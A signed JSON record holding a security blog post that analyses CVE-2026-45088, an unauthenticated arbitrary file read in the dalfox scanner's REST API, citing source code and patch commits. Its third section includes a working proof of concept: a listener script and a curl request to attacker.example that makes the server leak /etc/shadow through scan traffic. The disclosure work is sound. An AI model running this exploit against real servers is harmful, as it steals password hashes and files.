-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256
NEFARIOUSPLAN-CANONICAL-V1
{"body_md":"## ReadLinesOrLiteral does exactly what its name says\n\nThe helper lives in a separate Go module the dalfox maintainer ships under `github.com/hahwul/volt`. It is twenty-eight lines, including the import block:\n\n```go\n// volt/file/readLines.go\npackage file\n\nimport (\n\t\"bufio\"\n\t\"os\"\n)\n\n// ReadLinesOrLiteral is readlines from file\nfunc ReadLinesOrLiteral(arg string) ([]string, error) {\n\tif isFile(arg) {\n\t\treturn readLines(arg)\n\t}\n\treturn []string{arg}, nil\n}\n\nfunc readLines(filename string) ([]string, error) {\n\tf, err := os.Open(filename)\n\tif err != nil {\n\t\treturn []string{}, err\n\t}\n\tdefer f.Close()\n\n\tlines := make([]string, 0)\n\tsc := bufio.NewScanner(f)\n\tfor sc.Scan() {\n\t\tlines = append(lines, sc.Text())\n\t}\n\treturn lines, sc.Err()\n}\n\nfunc isFile(path string) bool {\n\tf, err := os.Stat(path)\n\treturn err == nil && f.Mode().IsRegular()\n}\n```\n\nThe function has two branches. If `os.Stat(arg)` returns nil error and `IsRegular()` reports true, the function opens the path with `os.Open`, scans it line by line through `bufio.Scanner`, and returns the lines as a slice. Otherwise the function returns the argument wrapped as a single-element slice and the caller treats the argument itself as the value.\n\nThe disambiguation is the design choice that lets the same dalfox CLI flag accept `--custom-payload payloads.txt` and `--custom-payload \"\"` and do the right thing for each. The CLI operator chose both the flag and the filesystem; the disambiguation is on the operator's side; the operator knows whether they are passing a file path or a literal payload.\n\nA REST API caller writes JSON to a socket. They choose the flag. They do not choose the filesystem. The dalfox process chooses the filesystem on the operator's behalf, by being the operator's process. The function's rule is unchanged: if the string the caller wrote happens to name a regular file the dalfox process can stat, the function reads that file. The operator's intent in `\"custom-payload-file\": \"/etc/shadow\"` is one of two things. The function does the file branch.\n\n## The chain from JSON body to `os.Open`\n\n`pkg/server/model.go` is twenty lines:\n\n```go\n// pkg/server/model.go\ntype Req struct {\n\tURL string `json:\"url\"`\n\tOptions model.Options `json:\"options\"`\n}\n```\n\nEcho's `c.Bind(rq)` fills `Req` from the JSON body. Every JSON tag on `model.Options` is a key the network caller can write. `CustomPayloadFile` is JSON-tagged `custom-payload-file`. The tag was added so the CLI's `--config some.json` could populate the option from the operator's filesystem-resident config file. The same tag is the name of the REST field.\n\n`postScanHandler` in `pkg/server/server.go` runs:\n\n```go\n// pkg/server/server.go, v2.12.0\nfunc postScanHandler(c echo.Context, scans *[]string, options *model.Options) error {\n\trq := new(Req)\n\tif err := c.Bind(rq); err != nil {\n\t\t// ...\n\t}\n\tsid := utils.GenerateRandomToken(rq.URL)\n\t// ...\n\tgo ScanFromAPI(rq.URL, rq.Options, *options, sid)\n\treturn respondJSONorJSONP(c, http.StatusOK, res, options)\n}\n```\n\n`rq.URL` is the attacker's target URL. `rq.Options` is the attacker's `model.Options`. Both are passed unfiltered to `ScanFromAPI`, which hands them to `dalfox.Initialize`:\n\n```go\n// pkg/server/scan.go\nfunc ScanFromAPI(url string, rqOptions model.Options, options model.Options, sid string) {\n\ttarget := dalfox.Target{\n\t\tURL: url,\n\t\tMethod: rqOptions.Method,\n\t\tOptions: rqOptions,\n\t}\n\tnewOptions := dalfox.Initialize(target, target.Options)\n\t// ...\n\t_, err := scan.Scan(url, newOptions, sid)\n\t// ...\n}\n```\n\n`dalfox.Initialize` walks a string-options table that copies named fields from the caller's options when the source is non-empty:\n\n```go\n// lib/func.go\n\"CustomPayloadFile\": {&newOptions.CustomPayloadFile, options.CustomPayloadFile},\n```\n\nAfter Initialize, `newOptions.CustomPayloadFile == \"/etc/shadow\"`. `scan.Scan` calls into the inspection loop, which reaches `pkg/scanning/scan.go:343`:\n\n```go\n// pkg/scanning/scan.go, v2.12.0\n// Custom Payload\nif (options.SkipDiscovery || utils.IsAllowType(policy[\"Content-Type\"])) && options.CustomPayloadFile != \"\" {\n\tff, err := voltFile.ReadLinesOrLiteral(options.CustomPayloadFile)\n\tif err != nil {\n\t\tprinting.DalLog(\"SYSTEM\", \"Failed to load custom XSS payload file\", options)\n\t} else {\n\t\tfor _, customPayload := range ff {\n\t\t\tif customPayload != \"\" {\n\t\t\t\tfor k, v := range params {\n\t\t\t\t\tif optimization.CheckInspectionParam(options, k) {\n\t\t\t\t\t\t// ...\n\t\t\t\t\t\tfor _, encoder := range encoders {\n\t\t\t\t\t\t\ttq, tm := optimization.MakeRequestQuery(target, k, customPayload, \"inHTML\"+ptype, \"toAppend\", encoder, options)\n\t\t\t\t\t\t\tquery[tq] = tm\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tprinting.DalLog(\"SYSTEM\", \"Added \"+strconv.Itoa(len(ff))+\" custom XSS payloads\", options)\n\t}\n}\n```\n\n`voltFile.ReadLinesOrLiteral(options.CustomPayloadFile)` is the line. The path is the JSON the attacker wrote. `os.Stat(\"/etc/shadow\")` from a dalfox process running as root or as a user in the `shadow` group returns a regular file. The function reads it. `ff` is now a slice whose elements are the lines of `/etc/shadow`. The loop emits one HTTP request per line of `ff`, per inspected parameter, per encoder, against `target`. `target` is the attacker's URL.\n\n## The exfil rides the scanner's primary HTTP loop\n\nThe scanner's primary purpose is to emit HTTP requests to the target URL with parameter values drawn from a payload corpus. `MakeRequestQuery` is the constructor for those requests:\n\n```go\n// internal/optimization/optimization.go\nfunc MakeRequestQuery(target, param, payload, ptype, pAction, pEncode string, options model.Options) (*http.Request, map[string]string) {\n\t// ...\n\tu, _ := url.Parse(target)\n\tparamList, _ := url.ParseQuery(u.RawQuery)\n\t// ... encode payload ...\n\tparamList.Add(param, payload)\n\tu.RawQuery = paramList.Encode()\n\treturn GenerateNewRequest(u.String(), \"\", options), tempMap\n}\n```\n\nThe line of the file becomes the value of a query parameter on a `GET` to the attacker's URL. Each line gets four encoder variants (`NaN`, `urlEncode`, `urlDoubleEncode`, `htmlEncode`) and is emitted once per discovered parameter. `/etc/shadow` on a stock Ubuntu has roughly forty entries. A scan with one discovered parameter and four encoders emits one hundred sixty requests; the attacker's HTTP access log captures every line, URL-encoded, in the query string. The dalfox process emits the requests at its configured `--worker` concurrency, which the same JSON body can also set.\n\nThe default `--port` is `6664`. The default `--host` is `0.0.0.0`. The default `--api-key` is empty, and the auth middleware registers only when the key is non-empty.\n\n```bash\n# 1. Attacker runs a listener:\n$ python3 -c '\nfrom http.server import *\nclass H(BaseHTTPRequestHandler):\n def do_GET(s):\n s.send_response(200); s.end_headers()\n s.wfile.write(b\"\")\nHTTPServer((\"0.0.0.0\",18081),H).serve_forever()' &\n\n# 2. Attacker posts a scan job:\n$ curl -X POST http://target:6664/scan \\\n -H 'Content-Type: application/json' \\\n -d '{\n \"url\": \"http://attacker.example:18081/?q=test\",\n \"options\": {\n \"custom-payload-file\": \"/etc/shadow\",\n \"only-custom-payload\": true,\n \"skip-discovery\": true\n }\n }'\n{\"code\":200,\"msg\":\"\"}\n\n# 3. Attacker's access log fills with one line of /etc/shadow per request:\n\"GET /?q=test&q=root%3A%24y%24j9T%24...%3A19850%3A0%3A99999%3A7%3A%3A%3A HTTP/1.1\" 200\n\"GET /?q=test&q=daemon%3A*%3A19850%3A0%3A99999%3A7%3A%3A%3A HTTP/1.1\" 200\n\"GET /?q=test&q=bin%3A*%3A19850%3A0%3A99999%3A7%3A%3A%3A HTTP/1.1\" 200\n# ... one request per line, one of four encoders per line, repeat\n```\n\nNo `X-API-KEY` header. No cookie. No precondition that the target URL be vulnerable to anything. The scan does not have to find a reflection. The file read fires the moment the loop hits `voltFile.ReadLinesOrLiteral`, which is before any payload has been sent. The HTTP requests that carry the file's contents are the scanner doing its primary job: probe a target URL with payload values. The payload values were never required to be XSS.\n\n## Three sinks, one helper, two commits, one CVE\n\nThe patch lands on May 7, 2026 in commit `02ad18f`. The diff adds `sanitizeAPIScanOptions`:\n\n```go\n// pkg/server/server.go, added in v2.13.0\n// See GHSA-v25v-m36w-jp4h, GHSA-8hf9-3q64-q2qf, GHSA-35wr-x7v6-9fv2.\nfunc sanitizeAPIScanOptions(o *model.Options) {\n\to.FoundAction = \"\"\n\to.FoundActionShell = \"\"\n\to.OutputFile = \"\"\n\to.OutputAll = false\n\to.CustomPayloadFile = \"\"\n\to.CustomBlindXSSPayloadFile = \"\"\n\to.HarFilePath = \"\"\n}\n```\n\nThe third GHSA in the comment is `GHSA-35wr-x7v6-9fv2`, the advisory record CVE-2026-45088 maps to. The GHSA's title is `Dalfox custom-payload-file allows arbitrary file read via REST API`. The advisory body names one field. The sanitizer in the same commit also blanks `CustomBlindXSSPayloadFile`. That field is a sink of the same helper, at `pkg/scanning/scan.go:611`:\n\n```go\n// pkg/scanning/scan.go\npayloadLines, readErr := voltFile.ReadLinesOrLiteral(options.CustomBlindXSSPayloadFile)\n```\n\nSame call. Same `os.Stat`. Same `os.Open`. Same line-by-line emission, this time as blind-XSS callback payloads inside the parameter probe loop. The advisory does not name `CustomBlindXSSPayloadFile`. The sanitizer does.\n\nFifteen minutes after the first patch commit, the maintainer pushes `e689793`. The commit subject is `fix(server,scanning): strip MiningWordlist and sync stage-2 results consumer`. The body opens with: \"Two follow-ups from the PR review.\" The diff:\n\n```diff\n@@ -184,6 +184,10 @@ func sanitizeAPIScanOptions(o *model.Options) {\n \to.CustomPayloadFile = \"\"\n \to.CustomBlindXSSPayloadFile = \"\"\n \to.HarFilePath = \"\"\n+\t// MiningWordlist (mining-dict-word) is also a server-side file path read\n+\t// by voltFile.ReadLinesOrLiteral; lines become probed parameter names and\n+\t// are exfiltrated through scan traffic, same class as CustomPayloadFile.\n+\to.MiningWordlist = \"\"\n```\n\n`MiningWordlist` is the source of parameter names when dalfox runs its dictionary-mining stage. The call site is `pkg/scanning/parameterAnalysis.go:259`:\n\n```go\nff, err := voltFile.ReadLinesOrLiteral(options.MiningWordlist)\n```\n\nSame function. Same `os.Open`. The lines, here, become the names of parameters dalfox tries against the target by appending them to the query string. The attacker's access log captures the lines as URL-encoded parameter names rather than parameter values. The exfil works either way.\n\nThe commit message states the situation directly: \"Each line becomes a probed parameter name and is sent to the scan target, exfiltrating the file's contents the same way custom-payload-file does.\" There is no separate CVE for `MiningWordlist`. There is no separate GHSA. The field's reachability through the same helper was a \"follow-up from the PR review.\"\n\nThree JSON-tagged `model.Options` fields pass attacker-chosen paths to `voltFile.ReadLinesOrLiteral` from a REST API bind. `CustomPayloadFile` is named in CVE-2026-45088. `CustomBlindXSSPayloadFile` is closed alongside it in commit `02ad18f` without a separate CVE. `MiningWordlist` is closed in commit `e689793` fifteen minutes later, also without a CVE. The CVE record reports the disclosure. The disclosure reports the sample of the class the GHSA reporter happened to write.\n\n## The patch closed the boundary. The helper is in volt.\n\n`sanitizeAPIScanOptions` is a denylist in `pkg/server/server.go`. It runs in `postScanHandler` and again in the MCP scan tool entry point. It does not run anywhere else. `dalfox.Initialize` does not call it. The CLI does not call it. `voltFile.ReadLinesOrLiteral` is byte-identical between v2.12.0 and v2.13.0; the patch did not touch `github.com/hahwul/volt`.\n\nThe helper is a small public Go module. Its full set of importers, by `grep` of the dalfox repo alone, includes `pkg/scanning/scan.go` (two sites), `pkg/scanning/parameterAnalysis.go`, and `cmd/file.go` (two sites for CLI input loading). Three of the dalfox sites are sinks the patched sanitizer closed at the boundary. Two are CLI-only and not reached from the REST API. The helper itself is unchanged.\n\nThe maintainer's other tools, the same maintainer's other Go binaries that depend on `volt`, import the same function. Any of those that binds the function's argument from a network input recreates the class. The fix is in `dalfox/pkg/server`, applied to one struct against one set of field names. The pattern is in `volt/file/readLines.go`. The pattern's name is the function's name.\n\nThis is the [security-tool-as-primitive](/patterns/security-tool-as-primitive) shape applied to the scanner's primary HTTP loop. The sibling post on [CVE-2026-45087](/posts/dalfox-cve-2026-45087-rest-api-was-the-cli) lays out the structural cause: `model.Options` doing double duty as flag struct and REST request body, with seventy-two JSON tags each becoming a network-controlled field, fixed by a denylist. That post is the canonical treatment of the boundary failure and the [design-debt-driver](/patterns/design-debt-driver) shape behind it. The sibling post on [CVE-2026-45089](/posts/dalfox-cve-2026-45089-file-write-outside-the-islibrary-guard) names the file-write receiver, `DalLog`, whose `IsLibrary` guard sits above the file-write block instead of around it.\n\nThis CVE's contribution is the read primitive's exfil channel. CVE-2026-45087 needed a shell hook to deliver attacker output: `foundAction` calling `exec.Command` after a reflection was observed. CVE-2026-45089 needed a logger to deliver attacker output: `DalLog` opening `OutputFile` after the scan goroutine hit its first `SYSTEM` line. CVE-2026-45088 needs neither. The scanner's primary outbound HTTP loop, the same loop that exists because the scanner is a scanner, is the exfil channel. The exfil happens because the scanner does what scanners do, with payload values that happen to be the lines of a file the network caller chose.\n\nThe [detector is the target](/patterns/the-detector-is-the-target) in its quietest form. The dalfox process's job description is \"send HTTP requests to a URL the operator chose, carrying payload values the operator supplied.\" The REST API moves both choices to the network. The scanner does not need to find a vulnerability in the target. The scanner does not need the target to respond in any particular way. The scanner needs to be invoked. The invocation is `POST /scan` with the file path in `custom-payload-file` and the destination in `url`. Everything else is the scanner working.\n\nPoC: [GHSA-35wr-x7v6-9fv2](https://github.com/advisories/GHSA-35wr-x7v6-9fv2)","closing_line":"The helper's name describes what the helper does. The sanitizer in `pkg/server` is the only thing keeping any path off the helper's stat call. The next field added to `model.Options` with a JSON tag and a file sink is the next entry in the list.","hook_md":"`--custom-payload` is the dalfox CLI flag operators reach for when the built-in XSS corpus is not enough. The flag takes a path. The scan engine opens the path, reads each line, and probes each line against the target URL the operator passed on the same command line. The struct field that carries the flag's value is JSON-tagged `custom-payload-file`. The struct is `model.Options`. The REST API server binds `model.Options` from any unauthenticated `POST /scan` body.\n\nThe helper that opens the path is named `ReadLinesOrLiteral`. Its name is its contract. The operator's intent in `--custom-payload payloads.txt` is read-the-file. The network caller's intent in `\"custom-payload-file\": \"/etc/shadow\"` is read-the-file. The function does not distinguish. It opens the path the caller wrote.","post_id":535,"slug":"dalfox-cve-2026-45088-payload-file-was-any-file","title":"CVE-2026-45088: Dalfox's Custom-Payload File Was Any File. The Helper Is Named ReadLinesOrLiteral.","type":"initial","unreadable_sentence":"The CVE description names one field. The patch's first commit closes two of them. A follow-up commit fifteen minutes later closes a third, with no CVE assigned."}
-----BEGIN PGP SIGNATURE-----
iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCapiFBgAKCRDeZjl4jgkQ
JgqZAP459YgI0WVw3HsUs5aTTMqqwY9Td4Daa0g3Sm93NjL7agEA5UhE4SZU/5kW
7T+cb3/XJwFq1Kt3q7ra9SkiTcepxAQ=
=LEJG
-----END PGP SIGNATURE-----